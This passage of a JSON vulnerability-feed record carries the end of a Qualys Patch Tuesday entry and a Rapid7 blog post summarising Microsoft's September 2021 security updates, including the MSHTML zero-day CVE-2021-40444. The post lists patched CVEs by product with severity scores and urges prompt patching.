later on demand\n\n### About Patch Tuesday\n\nPatch Tuesday QIDs are published at [Security Alerts](<https://www.qualys.com/research/security-alerts/>), typically late in the evening of [Patch Tuesday](<https://blog.qualys.com/tag/patch-tuesday>), followed shortly after by [PT dashboards](<https://qualys-secure.force.com/discussions/s/article/000006505>).", "cvss3": {}, "published": "2021-09-14T18:56:17", "type": "qualysblog", "title": "Microsoft and Adobe Patch Tuesday (September 2021) \u2013 Microsoft 60 Vulnerabilities with 3 Critical, Adobe 61 Vulnerabilities", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2021-26434", "CVE-2021-26435", "CVE-2021-26437", "CVE-2021-30632", "CVE-2021-35982", "CVE-2021-36952", "CVE-2021-36954", "CVE-2021-36955", "CVE-2021-36958", "CVE-2021-36959", "CVE-2021-36960", "CVE-2021-36961", "CVE-2021-36962", "CVE-2021-36963", "CVE-2021-36964", "CVE-2021-36965", "CVE-2021-36966", "CVE-2021-36967", "CVE-2021-36968", "CVE-2021-36969", "CVE-2021-36972", "CVE-2021-36973", "CVE-2021-36974", "CVE-2021-36975", "CVE-2021-38624", "CVE-2021-38625", "CVE-2021-38626", "CVE-2021-38628", "CVE-2021-38629", "CVE-2021-38630", "CVE-2021-38632", "CVE-2021-38633", "CVE-2021-38634", "CVE-2021-38635", "CVE-2021-38636", "CVE-2021-38637", "CVE-2021-38638", "CVE-2021-38639", "CVE-2021-38644", "CVE-2021-38645", "CVE-2021-38646", "CVE-2021-38647", "CVE-2021-38648", "CVE-2021-38649", "CVE-2021-38650", "CVE-2021-38651", "CVE-2021-38652", "CVE-2021-38653", "CVE-2021-38654", "CVE-2021-38655", "CVE-2021-38656", "CVE-2021-38657", "CVE-2021-38658", "CVE-2021-38659", "CVE-2021-38660", "CVE-2021-38661", "CVE-2021-38667", "CVE-2021-38671", "CVE-2021-39836", "CVE-2021-39837", "CVE-2021-39838", "CVE-2021-39839", "CVE-2021-39840", "CVE-2021-39841", "CVE-2021-39842", "CVE-2021-39843", "CVE-2021-39844", "CVE-2021-39845", "CVE-2021-39846", "CVE-2021-39849", "CVE-2021-39850", "CVE-2021-39851", "CVE-2021-39852", "CVE-2021-39853", "CVE-2021-39854", "CVE-2021-39855", "CVE-2021-39856", "CVE-2021-39857", "CVE-2021-39858", "CVE-2021-39859", "CVE-2021-39860", "CVE-2021-39861", "CVE-2021-39863", "CVE-2021-40440", "CVE-2021-40444", "CVE-2021-40447"], "modified": "2021-09-14T18:56:17", "id": "QUALYSBLOG:5576D16DC39617927D8AEFF027CC0911", "href": "https://blog.qualys.com/category/vulnerabilities-threat-research", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "rapid7blog": [{"lastseen": "2021-09-26T09:00:50", "description": "![Patch Tuesday - September 2021](https://blog.rapid7.com/content/images/2021/09/patches-2.jpg)\n\nMicrosoft has fixed a total of 60 vulnerabilities this month, including two publicly disclosed 0-days. Fortunately there are only a few issues rated critical this month with the vast majority of the remainder being rated important. Here\u2019s three big things you can go patch right now.\n\n### MSHTML Remote Code Execution 0-day ([CVE-2021-40444](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-40444>))\n\nThe hot topic this month is the most recent remote code execution 0-day vulnerability in MSHTML. When it was first discovered it was only being used in a limited number of attacks, however this quickly changed once instructions for exploiting the vulnerability were published online. This vulnerability was severe enough to warrant publishing patches for older operating systems including Windows 7, Windows Server 2008 R2, and Windows Server 2008. Now that updates have been published for this vulnerability they should be applied as soon as possible.\n\n### Windows DNS Local Elevation of Privilege ([CVE-2021-36968](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-36968>))\n\nThis is the second publicly disclosed vulnerability updated this month. While the details surrounding this CVE are sparse, we do know that Microsoft has not detected exploitation in the wild. \n\n### Updates to PrintNightmare ([CVE-2021-1678](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-1678>))\n\nMicrosoft has made additional patches available for older operating systems. If you were previously unable to patch against this vulnerability you may want to review this new information.\n\n## Summary Graphs\n\n![Patch Tuesday - September 2021](https://blog.rapid7.com/content/images/2021/09/output_26_1.png)![Patch Tuesday - September 2021](https://blog.rapid7.com/content/images/2021/09/output_25_1.png)![Patch Tuesday - September 2021](https://blog.rapid7.com/content/images/2021/09/output_20_2.png)![Patch Tuesday - September 2021](https://blog.rapid7.com/content/images/2021/09/output_18_2-1.png)\n\n## Summary Tables\n\n## Azure Vulnerabilities\n\nCVE | Title | Exploited | Disclosed | CVSS3 | FAQ \n---|---|---|---|---|--- \n[CVE-2021-38647](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-38647>) | Open Management Infrastructure Remote Code Execution Vulnerability | No | No | 9.8 | Yes \n[CVE-2021-38645](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-38645>) | Open Management Infrastructure Elevation of Privilege Vulnerability | No | No | 7.8 | Yes \n[CVE-2021-38648](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-38648>) | Open Management Infrastructure Elevation of Privilege Vulnerability | No | No | 7.8 | Yes \n[CVE-2021-38649](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-38649>) | Open Management Infrastructure Elevation of Privilege Vulnerability | No | No | 7 | Yes \n[CVE-2021-40448](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-40448>) | Microsoft Accessibility Insights for Android Information Disclosure Vulnerability | No | No | 6.3 | Yes \n[CVE-2021-36956](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-36956>) | Azure Sphere Information Disclosure Vulnerability | No | No | 4.4 | Yes \n \n## Browser Vulnerabilities\n\nCVE | Title | Exploited | Disclosed | CVSS3 | FAQ \n---|---|---|---|---|--- \n[CVE-2021-38642](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-38642>) | Microsoft Edge for iOS Spoofing Vulnerability | No | No | 6.1 | No \n[CVE-2021-38641](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-38641>) | Microsoft Edge for Android Spoofing Vulnerability | No | No | 6.1 | No \n[CVE-2021-26439](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26439>) | Microsoft Edge for Android Information Disclosure Vulnerability | No | No | 4.6 | No \n[CVE-2021-38669](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-38669>) | Microsoft Edge (Chromium-based) Tampering Vulnerability | No | No | 6.4 | Yes \n[CVE-2021-26436](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26436>) | Microsoft Edge (Chromium-based) Elevation of Privilege Vulnerability | No | No | 6.1 | No \n[CVE-2021-36930](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-36930>) | Microsoft Edge (Chromium-based) Elevation of Privilege Vulnerability | No | No | 5.3 | No \n[CVE-2021-30632](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-30632>) | Chromium: CVE-2021-30632 Out of bounds write in V8 | No | No | | Yes \n[CVE-2021-30624](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-30624>) | Chromium: CVE-2021-30624 Use after free in Autofill | No | No | | Yes \n[CVE-2021-30623](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-30623>) | Chromium: CVE-2021-30623 Use after free in Bookmarks | No | No | | Yes \n[CVE-2021-30622](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-30622>) | Chromium: CVE-2021-30622 Use after free in WebApp Installs | No | No | | Yes \n[CVE-2021-30621](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-30621>) | Chromium: CVE-2021-30621 UI Spoofing in Autofill | No | No | | Yes \n[CVE-2021-30620](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-30620>) | Chromium: CVE-2021-30620 Insufficient policy enforcement in Blink | No | No | | Yes \n[CVE-2021-30619](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-30619>) | Chromium: CVE-2021-30619 UI Spoofing in Autofill | No | No | | Yes \n[CVE-2021-30618](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-30618>) | Chromium: CVE-2021-30618 Inappropriate implementation in DevTools | No | No | | Yes \n[CVE-2021-30617](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-30617>) | Chromium: CVE-2021-30617 Policy bypass in Blink | No | No | | Yes \n[CVE-2021-30616](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-30616>) | Chromium: CVE-2021-30616 Use after free in Media | No | No | | Yes \n[CVE-2021-30615](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-30615>) | Chromium: CVE-2021-30615 Cross-origin data leak in Navigation | No | No | | Yes \n[CVE-2021-30614](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-30614>) | Chromium: CVE-2021-30614 Heap buffer overflow in TabStrip | No | No | | Yes \n[CVE-2021-30613](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-30613>) | Chromium: CVE-2021-30613 Use after free in Base internals | No | No | | Yes \n[CVE-2021-30612](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-30612>) | Chromium: CVE-2021-30612 Use after free in WebRTC | No | No | | Yes \n[CVE-2021-30611](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-30611>) | Chromium: CVE-2021-30611 Use after free in WebRTC | No | No | | Yes \n[CVE-2021-30610](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-30610>) | Chromium: CVE-2021-30610 Use after free in Extensions API | No | No | | Yes \n[CVE-2021-30609](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-30609>) | Chromium: CVE-2021-30609 Use after free in Sign-In | No | No | | Yes \n[CVE-2021-30608](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-30608>) | Chromium: CVE-2021-30608 Use after free in Web Share | No | No | | Yes \n[CVE-2021-30607](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-30607>) | Chromium: CVE-2021-30607 Use after free in Permissions | No | No | | Yes \n[CVE-2021-30606](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-30606>) | Chromium: CVE-2021-30606 Use after free in Blink | No | No | | Yes \n \n## Developer Tools Vulnerabilities\n\nCVE | Title | Exploited | Disclosed | CVSS3 | FAQ \n---|---|---|---|---|--- \n[CVE-2021-36952](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-36952>) | Visual Studio Remote Code Execution Vulnerability | No | No | 7.8 | No \n[CVE-2021-26434](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26434>) | Visual Studio Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-26437](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26437>) | Visual Studio Code Spoofing Vulnerability | No | No | 5.5 | No \n \n## ESU Vulnerabilities\n\nCVE | Title | Exploited | Disclosed | CVSS3 | FAQ \n---|---|---|---|---|--- \n[CVE-2021-38625](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-38625>) | Windows Kernel Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-38626](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-38626>) | Windows Kernel Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-36968](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-36968>) | Windows DNS Elevation of Privilege Vulnerability | No | Yes | 7.8 | No \n \n## Microsoft Dynamics Vulnerabilities\n\nCVE | Title | Exploited | Disclosed | CVSS3 | FAQ \n---|---|---|---|---|--- \n[CVE-2021-40440](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-40440>) | Microsoft Dynamics Business Central Cross-site Scripting Vulnerability | No | No | 5.4 | No \n \n## Microsoft Office Vulnerabilities\n\nCVE | Title | Exploited | Disclosed | CVSS3 | FAQ \n---|---|---|---|---|--- \n[CVE-2021-38656](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-38656>) | Microsoft Word Remote Code Execution Vulnerability | No | No | 7.8 | Yes \n[CVE-2021-38651](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-38651>) | Microsoft SharePoint Server Spoofing Vulnerability | No | No | 7.6 | No \n[CVE-2021-38652](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-38652>) | Microsoft SharePoint Server Spoofing Vulnerability | No | No | 7.6 | No \n[CVE-2021-38653](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-38653>) | Microsoft Office Visio Remote Code Execution Vulnerability | No | No | 7.8 | No \n[CVE-2021-38654](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-38654>) | Microsoft Office Visio Remote Code Execution Vulnerability | No | No | 7.8 | Yes \n[CVE-2021-38650](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-38650>) | Microsoft Office Spoofing Vulnerability | No | No | 7.6 | Yes \n[CVE-2021-38659](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-38659>) | Microsoft Office Remote Code Execution Vulnerability | No | No | 7.8 | Yes \n[CVE-2021-38658](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-38658>) | Microsoft Office Graphics Remote Code Execution Vulnerability | No | No | 7.8 | Yes \n[CVE-2021-38660](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-38660>) | Microsoft Office Graphics Remote Code Execution Vulnerability | No | No | 7.8 | Yes \n[CVE-2021-38657](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-38657>) | Microsoft Office Graphics Component Information Disclosure Vulnerability | No | No | 6.1 | Yes \n[CVE-2021-38646](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-38646>) | Microsoft Office Access Connectivity Engine Remote Code Execution Vulnerability | No | No | 7.8 | Yes \n[CVE-2021-38655](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-38655>) | Microsoft Excel Remote Code Execution Vulnerability | No | No | 7.8 | Yes \n \n## Windows Vulnerabilities\n\nCVE | Title | Exploited | Disclosed | CVSS3 | FAQ \n---|---|---|---|---|--- \n[CVE-2021-36967](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-36967>) | Windows WLAN AutoConfig Service Elevation of Privilege Vulnerability | No | No | 8 | No \n[CVE-2021-36966](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-36966>) | Windows Subsystem for Linux Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-38637](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-38637>) | Windows Storage Information Disclosure Vulnerability | No | No | 5.5 | Yes \n[CVE-2021-36972](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-36972>) | Windows SMB Information Disclosure Vulnerability | No | No | 5.5 | Yes \n[CVE-2021-36974](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-36974>) | Windows SMB Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-36973](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-36973>) | Windows Redirected Drive Buffering System Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-38624](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-38624>) | Windows Key Storage Provider Security Feature Bypass Vulnerability | No | No | 6.5 | Yes \n[CVE-2021-36954](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-36954>) | Windows Bind Filter Driver Elevation of Privilege Vulnerability | No | No | 8.8 | No \n[CVE-2021-36975](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-36975>) | Win32k Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-38634](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-38634>) | Microsoft Windows Update Client Elevation of Privilege Vulnerability | No | No | 7.1 | No \n[CVE-2021-38644](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-38644>) | Microsoft MPEG-2 Video Extension Remote Code Execution Vulnerability | No | No | 7.8 | Yes \n[CVE-2021-38661](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-38661>) | HEVC Video Extensions Remote Code Execution Vulnerability | No | No | 7.8 | Yes \n[CVE-2021-38632](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-38632>) | BitLocker Security Feature Bypass Vulnerability | No | No | 5.7 | Yes \n \n## Windows ESU Vulnerabilities\n\nCVE | Title | Exploited | Disclosed | CVSS3 | FAQ \n---|---|---|---|---|--- \n[CVE-2021-36965](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-36965>) | Windows WLAN AutoConfig Service Remote Code Execution Vulnerability | No | No | 8.8 | No \n[CVE-2021-26435](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26435>) | Windows Scripting Engine Memory Corruption Vulnerability | No | No | 8.1 | Yes \n[CVE-2021-36960](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-36960>) | Windows SMB Information Disclosure Vulnerability | No | No | 7.5 | Yes \n[CVE-2021-36969](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-36969>) | Windows Redirected Drive Buffering SubSystem Driver Information Disclosure Vulnerability | No | No | 5.5 | Yes \n[CVE-2021-38635](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-38635>) | Windows Redirected Drive Buffering SubSystem Driver Information Disclosure Vulnerability | No | No | 5.5 | Yes \n[CVE-2021-38636](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-38636>) | Windows Redirected Drive Buffering SubSystem Driver Information Disclosure Vulnerability | No | No | 5.5 | Yes \n[CVE-2021-38667](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-38667>) | Windows Print Spooler Elevation of Privilege Vulnerability | No | No | 7.8 | Yes \n[CVE-2021-38671](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-38671>) | Windows Print Spooler Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-40447](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-40447>) | Windows Print Spooler Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-36962](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-36962>) | Windows Installer Information Disclosure Vulnerability | No | No | 5.5 | Yes \n[CVE-2021-36961](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-36961>) | Windows Installer Denial of Service Vulnerability | No | No | 5.5 | No \n[CVE-2021-36964](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-36964>) | Windows Event Tracing Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-38630](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-38630>) | Windows Event Tracing Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-36955](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-36955>) | Windows Common Log File System Driver Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-36963](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-36963>) | Windows Common Log File System Driver Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-38633](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-38633>) | Windows Common Log File System Driver Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-36959](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-36959>) | Windows Authenticode Spoofing Vulnerability | No | No | 5.5 | No \n[CVE-2021-38629](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-38629>) | Windows Ancillary Function Driver for WinSock Information Disclosure Vulnerability | No | No | 6.5 | Yes \n[CVE-2021-38628](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-38628>) | Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-38638](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-38638>) | Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-38639](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-38639>) | Win32k Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-40444](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-40444>) | Microsoft MSHTML Remote Code Execution Vulnerability | Yes | Yes | 8.8 | Yes", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 7.5, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 3.6}, "published": "2021-09-15T03:44:31", "type": "rapid7blog", "title": "Patch Tuesday - September 2021", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1678", "CVE-2021-26434", "CVE-2021-26435", "CVE-2021-26436", "CVE-2021-26437", "CVE-2021-26439", "CVE-2021-30606", "CVE-2021-30607", "CVE-2021-30608", "CVE-2021-30609", "CVE-2021-30610", "CVE-2021-30611", "CVE-2021-30612", "CVE-2021-30613", "CVE-2021-30614", "CVE-2021-30615", "CVE-2021-30616", "CVE-2021-30617", "CVE-2021-30618", "CVE-2021-30619", "CVE-2021-30620", "CVE-2021-30621", "CVE-2021-30622", "CVE-2021-30623", "CVE-2021-30624", "CVE-2021-30632", "CVE-2021-36930", "CVE-2021-36952", "CVE-2021-36954", "CVE-2021-36955", "CVE-2021-36956", "CVE-2021-36959", "CVE-2021-36960", "CVE-2021-36961", "CVE-2021-36962", "CVE-2021-36963", "CVE-2021-36964", "CVE-2021-36965", "CVE-2021-36966", "CVE-2021-36967", "CVE-2021-36968", "CVE-2021-36969", "CVE-2021-36972", "CVE-2021-36973", "CVE-2021-36974", "CVE-2021-36975", "CVE-2021-38624", "CVE-2021-38625", "CVE-2021-38626", "CVE-2021-38628", "CVE-2021-38629", "CVE-2021-38630", "CVE-2021-38632", "CVE-2021-38633", "CVE-2021-38634", "CVE-2021-38635", "CVE-2021-38636", "CVE-2021-38637", "CVE-2021-38638", "CVE-2021-38639", "CVE-2021-38641", "CVE-2021-38642", "CVE-2021-38644", "CVE-2021-38645", "CVE-2021-38646", "CVE-2021-38647", "CVE-2021-38648", "CVE-2021-38649", "CVE-2021-38650", "CVE-2021-38651", "CVE-2021-38652", "CVE-2021-38653", "CVE-2021-38654", "CVE-2021-38655", "CVE-2021-38656", "CVE-2021-38657", "CVE-2021-38658", "CVE-2021-38659", "CVE-2021-38660", "CVE-2021-38661", "CVE-2021-38667", "CVE-2021-38669", "CVE-2021-38671", "CVE-2021-40440", "CVE-2021-40444", "CVE-2021-40447", "CVE-2021-40448"], "modified": "2021-09-15T03:44:31", "id": "RAPID7BLOG:CC071AA6971D64B0F7A596B2BBD5F046", "href": "https://blog.rapid7.com/2021/09/15/patch-tuesday-september-2021/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}]}